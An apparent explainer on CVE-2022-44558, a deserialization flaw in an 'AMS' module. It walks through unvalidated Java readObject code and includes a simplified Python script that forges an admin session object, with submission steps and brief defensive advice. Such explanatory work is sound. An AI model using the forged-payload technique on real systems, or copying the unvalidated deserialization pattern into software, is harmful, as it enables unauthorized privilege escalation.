In late 2022, a severe vulnerability was discovered in the AMS (Application Management System) module, identified as CVE-2022-44558. This flaw revolves around a mismatch between serialization and deserialization processes — a subtle weakness often overlooked in code reviews. Left unchecked, this bug allows an attacker to escalate privileges, potentially gaining unauthorized access to critical system functions or sensitive data.

In this article, you’ll find a clear breakdown of the vulnerability, academic and vendor references, a practical example of exploitation (with annotated code), and guidance for defenders.

What is the AMS Module?

Many enterprise applications use an AMS (Application Management System) to coordinate application processes, resource allocation, and permission checks. AMS modules often accept serialized objects describing tasks or user actions from distributed components, then deserialize those objects to act upon them.

Serialization Mismatch: The module serializes objects with a set of properties.

2. Deserialization Loophole: When deserializing, it accepts more properties than intended without proper validation.
3. Result: Malicious input can inject elevated privileges or unexpected objects during deserialization.

- NVD - CVE-2022-44558
- Vendor Security Notice (HUAWEI)
- OWASP: Serialization Issues

Suppose an AmsUser object is serialized for login sessions

// AMS: Serializing the user session
public class AmsUser implements Serializable {
    private String username;
    private boolean isAdmin;
    // ... constructors, getters, setters ...
}

The Deserialization Function

// Deserialization logic in AMS module
public Object deserializeUser(byte[] userData) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bis = new ByteArrayInputStream(userData);
    ObjectInputStream in = new ObjectInputStream(bis);
    return in.readObject(); // No validation on class type or fields!
}

Problem: There’s no restriction on what gets deserialized, so an attacker could modify input data to set isAdmin=true even if their account shouldn't have this privilege.

1. Attacker Crafts a Malicious Serialized User

Using a serialization tool or script, the attacker creates a AmsUser object where isAdmin is set to true.

# Python attack script using Java serialization payloads (simplified)
import javaobj

obj = javaobj.JavaObject("AmsUser")
obj.username = "attacker"
obj.isAdmin = True

with open("exploit_user.ser", "wb") as f:
    f.write(javaobj.dumps(obj))

2. Submits Malicious Payload

The attacker submits exploit_user.ser to the AMS module, usually via a web form upload, API endpoint, or inter-process message.

3. AMS Accepts and Deserializes Malicious Object

Since the deserialization code does not validate fields or enforce the right class context, it happily proceeds.

AmsUser user = (AmsUser) deserializeUser(readAttackerBytes());
// user.isAdmin == true!

Conclusion

CVE-2022-44558 serves as a classic reminder that serialization and deserialization dangers go beyond remote code execution — they can lead to stealthy privilege escalation with just a few bytes of crafted data. Always validate your inputs and enforce strict class and property checks during deserialization.

For more information, visit the NVD listing or consult your vendor for up-to-date patch details.

Timeline

Published on: 11/09/2022 21:15:00 UTC
Last modified on: 11/14/2022 19:09:00 UTC